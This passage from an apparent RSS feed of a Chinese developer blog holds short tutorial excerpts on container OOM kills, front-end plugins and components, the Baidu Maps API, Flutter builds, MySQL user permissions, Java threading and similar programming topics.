      <description>不知道你在使用容器时，有没有过这样的经历？一个容器在系统中运行一段时间后，突然消失了，看看自己程序的 log 文件，也没发现什么错误，不像是自己程序 Crash，但是容器就是消失了。&#xA;那么这是怎么回事呢？接下来我们就一起来“破案”。 问题再现 容器在系统中被杀掉，其实只有一种情况，那就是容器中的进程使用了太多的内存。具体来说，就是容器里所有进程使用的内存量，超过了容器所在 Memory Cgroup 里的内存限制。这时 Linux 系统就会主动杀死容器中的一个进程，往往这会导致整个容器的退出。&#xA;我们可以做个简单的容器，模拟一下这种容器被杀死的场景。做容器的 Dockerfile 和代码，你可以从这里获得。&#xA;接下来，我们用下面的这个脚本来启动容器，我们先把这个容器的 Cgroup 内存上限设置为 512MB（536870912 bytes）。&#xA;#!/bin/bash docker stop mem_alloc;docker rm mem_alloc docker run -d --name mem_alloc registry/mem_alloc:v1 sleep 2 CONTAINER_ID=$(sudo docker ps --format &#34;{{.ID}}\t{{.Names}}&#34; | grep -i mem_alloc | awk &#39;{print $1}&#39;) echo $CONTAINER_ID CGROUP_CONTAINER_PATH=$(find /sys/fs/cgroup/memory/ -name &#34;*$CONTAINER_ID*&#34;) echo $CGROUP_CONTAINER_PATH echo 536870912 &amp;gt; $CGROUP_CONTAINER_PATH/memory.limit_in_bytes cat $CGROUP_CONTAINER_PATH/memory.limit_in_bytes 好了，容器启动后，里面有一个小程序 mem_alloc 会不断地申请内存。当它申请的内存超过 512MB 的时候，你就会发现，我们启动的这个容器消失了。&#xA;这时候，如果我们运行docker inspect 命令查看容器退出的原因，就会看到容器处于&#34;exited&#34;状态，并且&#34;OOMKilled&#34;是 true。</description>
    </item>
    <item>
      <title>prerender-spa-plugin报错处理，prerender-spa-plugin-next长江后浪</title>
      <link>https://bchobby.github.io/posts/e3d67b41aabd11ee29424d68f858a1d3/</link>
      <pubDate>Wed, 10 Aug 2022 16:03:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3d67b41aabd11ee29424d68f858a1d3/</guid>
      <description>文章目录 前言Unable to prerender all routes! 方案一：修改源码方案二：[prerender-spa-plugin-next](https://www.npmjs.com/package/prerender-spa-plugin-next)vue.config.js打包后的效果图 方案三：vite+**[vitesse](https://github.com/antfu/vitesse)**使用SSR渲染完成SEO 前言 由于业务需求需要用到预渲染，vite+vue3没有找到好的库。&#xA;考虑使用prerender-spa-plugin这个插件满足需求。&#xA;以下是我的配置信息。&#xA;const PrerenderSpaPlugin = require(&#34;prerender-spa-plugin&#34;); const Renderer = PrerenderSpaPlugin.PuppeteerRenderer const path = require(&#34;path&#34;); module.exports = { configureWebpack: config =&amp;gt; { if (process.env.NODE_ENV !== &#34;production&#34;) return; return { plugins: [ new PrerenderSpaPlugin({ staticDir: path.join(__dirname, &#39;dist&#39;), routes: [&#39;/&#39;, &#39;/home&#39;, &#39;/test&#39;, &#39;/about&#39;], renderer: new Renderer({ timeout: 0, maxConcurrentRoutes: 1, renderAfterTime: 5000, headless: false }) }), ] }; } }; 使用过程中诸多报错，但后续都以解决。&#xA;最终卡在这个条报错信息上。</description>
    </item>
    <item>
      <title>基于Antd的模态框modal不显示 确认和取消按钮</title>
      <link>https://bchobby.github.io/posts/39594954c78190b881f51416c94f1a7e/</link>
      <pubDate>Wed, 10 Aug 2022 15:48:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39594954c78190b881f51416c94f1a7e/</guid>
      <description>csdn上有几篇类似的，不过好像是基于react的，或者只取消一个按钮，保留另一个。&#xA;因为业务要求，现在两个按钮都不能显示。&#xA;基于Antd的模态框modal不显示确认和取消按钮&#xA;&amp;lt;a-modal title=&#34;组员信息&#34; :visible=&#34;visiblegroup&#34; :confirm-loading=&#34;confirmLoading&#34; :width=&#34;850&#34; @ok=&#34;handleCancelgroup&#34; @cancel=&#34;handleCancelgroup&#34; cancelText=&#34;关闭1&#34; &amp;gt; &amp;lt;template slot=&#34;footer&#34;&amp;gt; &amp;lt;a&amp;gt;&amp;lt;/a&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/a-modal&amp;gt; &amp;lt;/template&amp;gt; 原理是 对vue底部footer组件的重写。</description>
    </item>
    <item>
      <title>封装的three.js饼图vue组件</title>
      <link>https://bchobby.github.io/posts/9585ebbaf8dfe85a7bb36077c3eb2239/</link>
      <pubDate>Wed, 10 Aug 2022 15:18:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9585ebbaf8dfe85a7bb36077c3eb2239/</guid>
      <description>基于three.js的3d饼图&#xA;使用 &amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;three-pie ref=&#34;pie&#34; :data=&#34;pieData&#34; :delay=&#34;3000&#34; :colors=&#34;[0x3da6ff, 0x2ceef5, 0xf2c62a, 0x26c7b7, 0xff823b]&#34; :opacity=&#34;0.7&#34; class=&#34;pieCanvas&#34; &amp;gt; &amp;lt;template v-slot:default=&#34;slotProps&#34;&amp;gt; &amp;lt;div class=&#34;pieCanvas-content&#34;&amp;gt; &amp;lt;div class=&#34;pieCanvas-content-value&#34;&amp;gt; &amp;lt;count-to ref=&#34;countTo&#34; :startVal=&#34;0&#34; :endVal=&#34;getNumber(slotProps)&#34; :decimals=&#34;2&#34; :duration=&#34;1000&#34; :autoplay=&#34;true&#34; &amp;gt;&amp;lt;/count-to&amp;gt; % &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;pieCanvas-content-name&#34;&amp;gt;{{ slotProps.data.name }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/three-pie&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import ThreePie from &#39;@/components/threePie&#39; import CountTo from &#39;@/components/CountTo&#39; export default { components: { ThreePie, CountTo, }, data() { return { pieData: [ { name: &#39;搜索引擎&#39;, value: 22, }, { name: &#39;邮件&#39;, value: 23, }, { name: &#39;广告&#39;, value: 27, }, { name: &#39;视频广告&#39;, value: 19, }, { name: &#39;地推&#39;, value: 25, }, ], } }, methods: { getNumber(slotProps) { return Number(((slotProps.</description>
    </item>
    <item>
      <title>解决：UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xb1 in position 1142: invalid start byte</title>
      <link>https://bchobby.github.io/posts/c6b4b356a2fa10df69f2980dcb50cdfd/</link>
      <pubDate>Wed, 10 Aug 2022 14:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6b4b356a2fa10df69f2980dcb50cdfd/</guid>
      <description>目录&#xA;操作描述&#xA;错误现象&#xA;原因分析&#xA;解决方案1&#xA;解决方案2&#xA;执行结果&#xA;操作描述 利用configparser库函数，读取配置文件中的字段，就是反复报错，什么编解码出问题。找了一圈教程，没有找到有效的解决方案，不过最终还是解决了，把解决思路写在下面供参考。&#xA;错误现象 图1 原因分析 把原有的配置文件复制到了另外一个文件夹，并用记事本打开重新保存了一下，然后调用复制过去的配置文件就报如上图1 的错误；&#xA;调用源路径下的配置文件就不会出问题，所以怀疑这个操作过程出现了编解码不一致的问题，所以导致UnicodeDecodeError问题。&#xA;想到这里，我重新把源文件夹下的配置文件，复制到新的地址，然后直接调用，发现程序执行正常。&#xA;解决方案1 点击[pycharm]中的settings, 点击[File Encodings] 进入如下界面&#xA;注意如下位置，全部改成UTF-8&#xA;解决方案2 如果解决方案1，还是不行，再给大家说一个方法，确保万无一失。在需要配置文件的package名，右击选择[New]新建[File]&#xA;详细如下操作&#xA;然后点击【OK】，完成配置文件创建，如此可以保证配置文件的编码是按照pycharm设置的编码方式进行的。&#xA;执行结果 修改完成后，再次执行程序，调用配置文件结果如下： 图2 从图2执行结果看，上述分析是正确的，打开文件在保存过程一定要看清楚编解码方式，选择正确的编码方式，推荐一个网址：在打开和保存文件时选择文本编码，如果有这方面更好的解释，麻烦留言交流~&#xA;希望对看到的你有所帮助，祝好~</description>
    </item>
    <item>
      <title>Verdi查看force信号的四种方法</title>
      <link>https://bchobby.github.io/posts/9c2cd74edd0c207cad52ab9a8c25cdae/</link>
      <pubDate>Tue, 09 Aug 2022 22:46:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c2cd74edd0c207cad52ab9a8c25cdae/</guid>
      <description> 问题由来 一次仿真中发现信号的变化跟预期不一致，分析之下感觉不合逻辑，因此怀疑是有某个地方有force的动作，那么如何check是否有force呢？&#xA;因此做了一个小实验来检查是否有force动作，简单代码如下：&#xA;解决办法 最直接的办法，就是在波形中不合理的时刻，双击该信号的跳变沿，可以直接在工程中显示出该信号跳变的驱动位置&#xA;如果因为驱动的位置较多，可以进一步点击Verdi下方Message窗口，可以显示出所有驱动该信号的位置，看下有没有force的动作&#xA;注：这里显示的每行信号都可以双击跳转到工程中相应的位置&#xA;仿真时添加参数+fsdb+force重新仿真一遍，如果有force动作，那么波形中会有显示&#xA;注：是仿真阶段，不是编译阶段&#xA;示例如下：&#xA;波形中效果如下：&#xA;通过fsdbreport命令来打印环境中所有的force信息&#xA;fsdbreport ./work/wave.fsdb -find_forces -s &#34;/tb/*&#34; -of h -o force.log&#xA;命令中参数定义如下： -find_forces：即查找波形中force信息-s：制定查找的层次-of：指定结果中变量值得格式， 可选b/o/d/u/h分别表示二进制/八进制/十进制/无符号十进制/十六进制，默认为二进制 -o：指定查找结果的输出文件，也可以不指定，默认为report.txt&#xA;注：fsdbreport还有很多作用和参数，后续再讲，也可以通过fsdbreport -help查看详细信息&#xA;在当前目录下找到force.log文件，显示如下：&#xA;使用Verdi自带的APP：&#xA;使用方法如下：&#xA;在当前目录下（打开verdi的那级目录）查找生成的文件&#xA;注1：如果没有找到文件，那么可以在生成时候，看下生成目录&#xA;注2：Verdi的APP很多都非常实用，后续详细讲解，感兴趣的话也可以逐个点击玩儿一下，生命的意义在于探索嘛 结语 方法1和方法2，在只是debug某个信号是否被force的情况下，比较直接和高效；方法3和方法4，在查找工程中都有哪些信号被force的时，比较实用。我们项目中有项checklist就是检查环境中是否有不当的force操作，就是采用方法4来实现的&#xA;最后留个小悬念吧：为什么检查环境中是否有不当操作时，为什么我们不用方法3呢？相信你如果把上述方法尝试了一遍之后，心中自有分晓。 </description>
    </item>
    <item>
      <title>[转] Typora_Markdown_图片标题(题注)</title>
      <link>https://bchobby.github.io/posts/f7bf90e9246b7355abb0e095568bc400/</link>
      <pubDate>Tue, 09 Aug 2022 21:47:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7bf90e9246b7355abb0e095568bc400/</guid>
      <description>Typora_Markdown_图片标题(题注) 总体有两种方法，一种是简单粗暴的,直接在图片下加文字作标题，而另一种是封装可拓展性强。&#xA;1 直接下加标题 \qquad 效果如下，下图即为在Typora中该做法的效果，还是可以达到预期的效果，标题在图片正下方，但由于是默认图片显示和自加html标题，二者分开编程，在Typora中显示略有逊色，标题和图片会有隔一行的感觉，让人觉得标题和图片贴合度不高，不够排版美观。&#xA;\qquad 代码如下：&#xA;&amp;lt;img src=&#34;这里放图片路径&#34; alt=&#34;这里放图片显示不出的时候出现的文字&#34; style=&#34;zoom:这里写缩放的百分比，比如:30%&#34;/&amp;gt; &amp;lt;!--上面的是Typora默认的，不用自己写--&amp;gt; &amp;lt;center&amp;gt;&amp;lt;p&amp;gt;这里放标题&amp;lt;/p&amp;gt;&amp;lt;/center&amp;gt; 2 封装型 \qquad 封装型效果如下，整个html代码在一起没有分开，整个代码要自己写。但从下图可以看出，在Typora的显示中，图片和标题(题注)贴合性高，整体感觉比直接下加标题的方法更美观。&#xA;\qquad 代码如下：&#xA;&amp;lt;div&amp;gt;&#x9;&amp;lt;!--块级封装--&amp;gt; &amp;lt;center&amp;gt;&#x9;&amp;lt;!--将图片和文字居中--&amp;gt; &amp;lt;img src=&#34;图片路径放这里&#34; alt=&#34;无法显示图片时显示的文字&#34; style=&#34;zoom:这里写图片的缩放百分比&#34;/&amp;gt; &amp;lt;br&amp;gt;&#x9;&amp;lt;!--换行--&amp;gt; 这里是图片的标题&#x9;&amp;lt;!--标题--&amp;gt; &amp;lt;/center&amp;gt; &amp;lt;/div&amp;gt; ---------------------&#xA;作者：An_Lord&#xA;来源：CSDN&#xA;原文：https://blog.csdn.net/m0_47098916/article/details/117827687</description>
    </item>
    <item>
      <title>petalinux</title>
      <link>https://bchobby.github.io/posts/df8a53708b93103cc2df8dce19ee8969/</link>
      <pubDate>Tue, 09 Aug 2022 21:09:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df8a53708b93103cc2df8dce19ee8969/</guid>
      <description>一、配置petal inux运行环境&#xA;1、 source settings.sh&#xA;2、 PATH&#xA;二、petalinux设计流程介绍&#xA;1、搭建vivado.工程，导出hdf文件&#xA;2、创建一个petalinux工程&#xA;3、需要将hdf文件导入到petalinux.工程(将vivado设 计应用到petalinux工程)&#xA;4、配置petalinux.工程(其中就包括配置内核、配置U-Boot以及根文件系统)&#xA;5、编译petalinux.工程(U-Boot镜像、 内核镜像以及rootfs，bitstream， fsbl镜像文件)&#xA;6、启动开发板.&#xA;三、petalinux使用实战&#xA;petalinux-boot 启动开发板&#xA;petalinux-build 编译&#xA;petalinux-config 配置&#xA;petalinux-create 创建项目&#xA;petalinux-package 打包&#xA;petalinux-util 没用过、不知道干嘛的&#xA;注意：每个命令的查询与帮助 eg:petalinux-config --help&#xA;1)、导入hdf 文件:&#xA;petalinux-config --get-hw-description ~ /hdf/Navigator_ 7020.sdk (路径)&#xA;导入hdf文件后，就会打开配置界面&#xA;2)、单独打开petalinux工程的配置界面:&#xA;petalinux-config&#xA;u-boot配置:&#xA;petalinux-config -C u-boot&#xA;Linux内 核配置:&#xA;petalinux-config -C kernel&#xA;rootfs (根文件系统)配置:&#xA;petalinux-config -C rootfs&#xA;3)、 编译:&#xA;编译整个petalinux工程(U-boot、 kernel和设备树、rootfs、 fsbl、 bit文件)&#xA;petalinux-build单独编译U-boot、kernel、 rootfs&#xA;petalinux-build -C u-boot #编译U-boot</description>
    </item>
    <item>
      <title>JS百度地图PC端API基本使用(二)</title>
      <link>https://bchobby.github.io/posts/6271438ccc5ae93d57f1c9acd70723c9/</link>
      <pubDate>Tue, 09 Aug 2022 16:47:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6271438ccc5ae93d57f1c9acd70723c9/</guid>
      <description> 1、事件交互和this&#xA;百度地图API的dom事件的回调函数也会有一个默认的事件对象e，通过e可以知道关于事件的一些信息&#xA;marker.addEventListener(&#39;click&#39;, function(e) { alert(e.point.lng + &#34;, &#34; + e.point.lat); }) 事件函数中的this也是指向发生该事件的dom元素&#xA;map.addEventListener(&#34;zoomend&#34;, function() { alert(&#34;地图缩放至：&#34; + this.getZoom() + &#34;级&#34;); }); 2、Geocoder：逆/地址解析&#xA;用于经纬度坐标以及真实地址的一个转换。&#xA;地址解析：首先先创造出一个地址解析器实例，然后调用他的getPoint方法，第一个参数为具体的一个地址，第二个为处理函数，第三个为省市名称，它可以自动将地图跳转要你输入的那个地址中，并且创造出一个点标注&#xA;var myGeo = new BMap.Geocoder(); myGeo.getPoint(&#34;南京市南京南站&#34;, function(point) { if (point) { map.centerAndZoom(point, 16); map.addOverlay(new BMap.Marker(point)); } }, &#34;南京市&#34;); 逆地址解析就是通过他的经纬度坐标 返回一个真实的地址&#xA;var myGeo = new BMap.Geocoder({ extensions_town: true }); myGeo.getLocation(new BMap.Point(115.364, 39.993), function(result) { if (result) { alert(result.address); } }); </description>
    </item>
    <item>
      <title>Flutter 学习之路</title>
      <link>https://bchobby.github.io/posts/e5f56f1a44cb419618544d6c5193c73f/</link>
      <pubDate>Tue, 09 Aug 2022 15:52:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5f56f1a44cb419618544d6c5193c73f/</guid>
      <description>1. Container 设置最大和最小宽度 Container( width: 220, // 宽度 constraints: BoxConstraints( minWidth: 200, // 最小宽度 minHeight:200, maxWidth: 500, // 最大宽度 maxHeight:500, ), 2. flutter打包 旧项目开启web端构建&#xA;flutter config --enable-web web的渲染模式 HTML渲染模式 flutter会采用HTML的custom element，CSS，Canvas和SVG来渲染UI元素。&#xA;优点：应用体积更小。&#xA;缺点：渲染性能差；跨端一致性可能受影响。&#xA;打包命令： flutter build web --web-renderer html&#xA;CanvasKit渲染模式 当canvaskit渲染模式：flutter将 Skia 编译成 WebAssembly 格式，并使用 WebGL 渲染。应用在移动和桌面端保持一致，有更好的性能，以及降低不同浏览器渲染效果不一致的风险。但是应用的大小会增加大约 2MB。&#xA;打包命令：flutter build web --web-renderer canvaskit&#xA;优点：像素级跨端一致性、更好的渲染性能。&#xA;缺点：应用体积变大，需要加载一个2.5MB的webaseembly格式的代码。&#xA;auto的渲染模式（默认） 会自动根据是运行在移动浏览器端还是桌面浏览器端来选择渲染模式。&#xA;实践遇到的问题 命令1 flutter build web --release&#xA;使用该命令打包的工程，放置在http链接下的时候，无法显示 image的图片。&#xA;目前发现比较好用的是这个：&#xA;flutter build web --release --dart-define=FLUTTER_WEB_CANVASKIT_URL=.</description>
    </item>
    <item>
      <title>JS百度地图PC端API基本使用(一)</title>
      <link>https://bchobby.github.io/posts/156fc173a593ca6cc0fddb92714c6504/</link>
      <pubDate>Tue, 09 Aug 2022 15:43:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/156fc173a593ca6cc0fddb92714c6504/</guid>
      <description>1、创建地图&#xA;创建一个百度地图实例，类似Echarts首先先创建一个容器（盒子），如何通过new操作符创建一个地图实例，然后通过类构造函数Point new出一个中心点坐标，第一个参数为经度第二个参数是纬度。最后用centerAndZoom方法初始化一个地图，第一个参数就是我们刚才new出来的中心点坐标，第二个参数是地图级别（放大的倍数为3-19）&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;https://api.map.baidu.com/api?v=3.0&amp;amp;ak=TwtrRswKZltecLVCWH00lLOFIseNNwXG&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;script&amp;gt; var map = new BMap.Map(&#34;container&#34;); var point = new BMap.Point(116.404, 39.915); map.centerAndZoom(point, 15); map.enableScrollWheelZoom() &amp;lt;/script&amp;gt; 地图默认是没有常用的鼠标滚轮缩放的功能的，需要调用map.enableScrollWheelZoom方法来开启。&#xA;2、地图控件&#xA;通过addControl方法可以创造出各种控件。在创建的时候可以往new出的实例里添加配置项，可以配置控件放置的位置，以及控件的功能大小类型。&#xA;map.addControl(new BMap.NavigationControl()); //地图默认左上角的控件，用来控制地图的平移和缩放功能 map.addControl(new BMap.ScaleControl()); //默认在地图左下角的比例尺 map.addControl(new BMap.OverviewMapControl()); //默认在地图右下角的可折叠的缩略地图 map.addControl(new BMap.MapTypeControl()); //默认在地图右上角 用来控制地图类型的 map.addControl(new BMap.NavigationControl({ type: BMAP_NAVIGATION_CONTROL_SMALL, anchor: BMAP_ANCHOR_BOTTOM_LEFT })) 3、在地图上绘制&#xA;（1）点的绘制&#xA;var marker = new BMap.Marker(point); // 创建标注 map.addOverlay(marker); // 将标注添加到地图中 marker.addEventListener(&#34;click&#34;, function() { alert(&#34;你是最帅的&#34;); }); //给添加点添加点击事件 创建一个标注实例，用map.addOverlay将这个实例添加到地图中，然后给点绑定点击事件（百度地图上默认会有商家或者地标之类的点点击之后会显示信息）&#xA;（2）信息窗口</description>
    </item>
    <item>
      <title>C#字符串(字节)的长度</title>
      <link>https://bchobby.github.io/posts/efcc2e64ad2d128f1d6f50f3d6c09ad5/</link>
      <pubDate>Tue, 09 Aug 2022 11:49:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efcc2e64ad2d128f1d6f50f3d6c09ad5/</guid>
      <description>using System; public class Test { public static void Main() { string str1 = &#34;abced.,.某某某&#34;; int len2 = str1.Length; int leng = System.Text.Encoding.Default.GetBytes(str1.ToCharArray()).Length; Console.WriteLine(&#34;字符串为&#34;+str1); Console.WriteLine(&#34;字符串的长度&#34;+len2); Console.WriteLine(&#34;字节的长度&#34;+leng); Console.ReadLine(); } } 顺便看一下Sql Server中char nchar varchar nvarchar&#xA;char类型： 对英文(ASCII)字符占用1个字节，对一个汉字占用2个字节，CHAR存储定长数据很方便，CHAR字段上的索引效率极高，比如定义char(10)，那么不论你存储的数据是否达　到了10个字节，都要占去10个字节的空间。因为是固定长度，所以速度效率高。&#xA;VARCHAR:存储变长数据，如果一个字段可能的值是不固定长度的，我们只知道它不可能超过10个字符，把它定义为 VARCHAR(10)是最合算的。VARCHAR类型的实际长度是它的值的实际长度+1。为什么“+1”呢？这一个字节用于保存实际使用了多大的长度。&#xA;Nchar类型和Nvarchar类型是怎么一回事呢？为了与其他多种字符的转换，如中文，音标等，对每个英文(ASCII)字符都占用2个字节，对一个汉字也占用两个字节，所有的字符都占用2个字节。&#xA;nchar(n):包含n个字符的固定长度Unicode字符数据。n的值必须介于1与4,000之间。存储大小为n字节的两倍。&#xA;varchar(n):变长型字符数据类型，存储最长长度为8,000 个字符&#xA;nvarchar(n):可变长度 Unicode 数据，其最大长度为 4,000 字符.字节的存储大小是所输入字符个数的两倍，就是说它是双字节来存储数据的。如果存储数据如果存在单字节时，它也是以双字节来占用存储空间的。&#xA;varchar一般适用于英文和数字，Nvarchar适用中文和其他字符，其中N表示Unicode常量，可以解决多语言字符集之间的转换问题。</description>
    </item>
    <item>
      <title>Ip2region 离线IP地址定位库</title>
      <link>https://bchobby.github.io/posts/af8acf97b7b592fdb58cba14964b8ff6/</link>
      <pubDate>Tue, 09 Aug 2022 10:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af8acf97b7b592fdb58cba14964b8ff6/</guid>
      <description>Ip2region 是什么 ip2region v2.0 - 是一个离线IP地址定位库和IP定位数据管理框架，10微秒级别的查询效率，提供了众多主流编程语言的 xdb 数据生成和查询客户端实现。&#xA;GitHub首页&#xA;xdb包下载&#xA;java使用首页&#xA;支持Python、Java、Go 等多种主流开发语言，详情见首页&#xA;ip2region xdb java 查询客户端实现 使用方式 maven 仓库： &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 完全基于文件的查询 import org.lionsoul.ip2region.xdb.Searcher; import java.io.*; import java.util.concurrent.TimeUnit; public class SearcherTest { public static void main(String[] args) { // 1、创建 searcher 对象 String dbPath = &#34;ip2region.xdb file path&#34;; Searcher searcher = null; try { searcher = Searcher.newWithFileOnly(dbPath); } catch (IOException e) { System.out.printf(&#34;failed to create searcher with `%s`: %s\n&#34;</description>
    </item>
    <item>
      <title>爬虫实战案例</title>
      <link>https://bchobby.github.io/posts/a26822a051c4a6692619b5b49bdbcca5/</link>
      <pubDate>Tue, 09 Aug 2022 09:45:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a26822a051c4a6692619b5b49bdbcca5/</guid>
      <description>前言： 实战携程案例，也是一个学习总结&#xA;目标： 全国景区名&#xA;1.数据分析 目标网站pc段实在不好分析，于是想到了手机端&#xA;目标网站异步加载，目标数据存放在名为getAttractioList?*****下&#xA;分析一遍后发现一个头疼的事，下一页的token参数在上一页的响应数据里，这里后面代码要注意一下&#xA;因为目标要求是全国景区数据，这里只是上海，通过分析负载数据，得知count是每页的数据条，districtId是城市Id，上海就是2，北京是1&#xA;通过对响应数据的分析，这里用xpath解析最方便，在postman分析一段时间后也是将初步数据拿下来了&#xA;代码块 self.jq_payload ={ &#34;index&#34;: 1, &#34;count&#34;: 20, &#34;sortType&#34;: 1, &#34;isShowAggregation&#34;: True, &#34;districtId&#34;: 2, &#34;scene&#34;: &#34;DISTRICT&#34;, &#34;pageId&#34;: &#34;214062&#34;, &#34;traceId&#34;: &#34;63675663-049d-d442-3189-93e543806482&#34;, &#34;extension&#34;: [ { &#34;name&#34;: &#34;osVersion&#34;, &#34;value&#34;: &#34;13.2.3&#34; }, { &#34;name&#34;: &#34;deviceType&#34;, &#34;value&#34;: &#34;ios&#34; } ], &#34;filter&#34;: { &#34;filterItems&#34;: [] }, &#34;crnVersion&#34;: &#34;2020-09-01 22:00:45&#34;, &#34;isInitialState&#34;: True, &#34;head&#34;: { &#34;cid&#34;: &#34;09031138417081694673&#34;, &#34;ctok&#34;: &#34;&#34;, &#34;cver&#34;: &#34;1.0&#34;, &#34;lang&#34;: &#34;01&#34;, &#34;sid&#34;: &#34;8888&#34;, &#34;syscode&#34;: &#34;09&#34;, &#34;xsid&#34;: &#34;</description>
    </item>
    <item>
      <title>学长告诉我，大厂MySQL都是通过SSH连接的</title>
      <link>https://bchobby.github.io/posts/65cf511f665e6961fd526b16f1ee5167/</link>
      <pubDate>Tue, 09 Aug 2022 08:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65cf511f665e6961fd526b16f1ee5167/</guid>
      <description>大家好，我是咔咔 不期速成，日拱一卒&#xA;一、背景 之前待的几个公司，数据库、服务器权限都是给所有后端直接拉满的，但也会出现员工离职的情况，每次有人离职时都需要改数据库密码、服务器密码。&#xA;每次密码修改后得告知所有开发修改本地密码，但这样的事情也不是经常发生，公司虽小但很稳定。&#xA;假设你所待的公司是一个开发非常多的公司，有可能你待了一年还没认识全，人员流动的速度也非常快，这时上面那种方案的执行成本就非常高了。&#xA;若此时把这个问题抛给你，让你解决你会有什么方案？&#xA;接下来给大家介绍两种方案，一种传统方案另一种是通过SSH来实现的。&#xA;二、传统方案 MySQL版本：8.0.26&#xA;其中最简单的方案就是给每个人在数据库添加一个账号，具体步骤如下：&#xA;创建新用户&#xA;create user &#34;kaka&#34;@&#34;%&#34; identified by &#39;qwerty123456&#39;; 其中kaka为自定义的用户名；%为登录域名，host为’%&#39;时表示为 任意IP，为localhost时表示本机，或者填写指定的IP地址；qwerty123456为密码&#xA;为用户授权&#xA;grant all privileges on kaka.* to &#34;kaka&#34;@&#34;%&#34; with grant option; 或 grant all on *.* to &#34;kaka&#34;@&#34;%&#34;; 其中kaka.*,kaka为数据名，*为所有表，如果想授权全部表就把kaka.*写成*.*，当然这里是以开发库为基础的，所有的权限都得给。当前也可以给予部分权限。&#xA;刷新权限&#xA;flush privileges; 使用用户名：kaka进行登录&#xA;发现kaka用户只有两个库，kaka库就是授权的库，当切换系统库时发现是没有权限的。&#xA;在切到kaka库，是可以做正常的curd操作的&#xA;给予部分权限&#xA;grant update on kaka.* to &#34;kaka&#34;@&#34;%&#34;; flush privileges; 若想给多个权限，则逗号隔开即可，update,select,insert …，执行完切记需要刷新权限，否则不会生效&#xA;撤销全部权限&#xA;这块有点小插曲，当执行撤销命令后报了这样一个错&#xA;Access denied; you need (at least one of) the SYSTEM_USER privilege(s) for this operation 查阅了一下官方文档，原因是由于root用户没有SYSTEM_USER权限，把权限加入后即可解决</description>
    </item>
    <item>
      <title>多线程_线程插队_join()方法与锁的释放</title>
      <link>https://bchobby.github.io/posts/d51bd0f8992675b65f3266b9fc52c857/</link>
      <pubDate>Tue, 09 Aug 2022 03:04:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51bd0f8992675b65f3266b9fc52c857/</guid>
      <description>线程插队 线程执行join()方法后，其他线程将会等待该线程终止后再执行&#xA;若给join()方法添加参数，则效果为：仅允许该线程插队参数毫秒&#xA;锁的释放 join()方法对于锁的释放，在不同的情况下会有不同的表现&#xA;先说结论：join()方法只会释放被调用线程的对象锁&#xA;情景一：String对象被上锁，锁为String的对象锁&#xA;package cn.alan.threadState; //测试插队线程 public class TestJoin implements Runnable{ String hello; public TestJoin(String hello) { this.hello = hello; } @Override public void run() { synchronized (hello){ for (int i = 0; i &amp;lt; 5; i++) { System.out.println(&#34;插队线程执行&#34; + hello); } } } public static void main(String[] args) throws InterruptedException { String hello = &#34;hello&#34;; //启动插队线程 Thread thread = new Thread(new TestJoin(hello)); thread.start(); synchronized (hello){ //主线程 for (int i = 0; i &amp;lt; 10; i++) { if (i==5){ thread.</description>
    </item>
    <item>
      <title>@ExcelProperty 使用占位符，实现动态表头效果</title>
      <link>https://bchobby.github.io/posts/a5a37a4cf1ec745b9539ec0f84969c7b/</link>
      <pubDate>Mon, 08 Aug 2022 23:18:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5a37a4cf1ec745b9539ec0f84969c7b/</guid>
      <description>@ExcelProperty 使用占位符，实现动态表头效果&#xA;@ExcelProperty 使用占位符，实现动态表头效果 easyexcel 想实现动态表头，根据官方文档，采用以下方式：&#xA;private List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; head() { List&amp;lt;List&amp;lt;String&amp;gt;&amp;gt; list = new ArrayList&amp;lt;List&amp;lt;String&amp;gt;&amp;gt;(); List&amp;lt;String&amp;gt; head0 = new ArrayList&amp;lt;String&amp;gt;(); head0.add(&#34;字符串&#34; + System.currentTimeMillis()); List&amp;lt;String&amp;gt; head1 = new ArrayList&amp;lt;String&amp;gt;(); head1.add(&#34;数字&#34; + System.currentTimeMillis()); List&amp;lt;String&amp;gt; head2 = new ArrayList&amp;lt;String&amp;gt;(); head2.add(&#34;日期&#34; + System.currentTimeMillis()); list.add(head0); list.add(head1); list.add(head2); return list; } 个人感觉该方式不够灵活，且实体类中定义的样式也失效了，如果表格字段较多，需要写一大堆List。经过研究，通过另一种方式实现动态表头效果。&#xA;定义导出实体类，此处省略get、set方法 public class UserModel { @ExcelProperty(value = {&#34;${title}&#34;, &#34;姓名&#34;}) private String name; @ExcelProperty(value = {&#34;${title}&#34;, &#34;生日&#34;}) @DateTimeFormat(value = &#34;yyyy-MM-dd&#34;) private Date birth; @ExcelProperty(value = 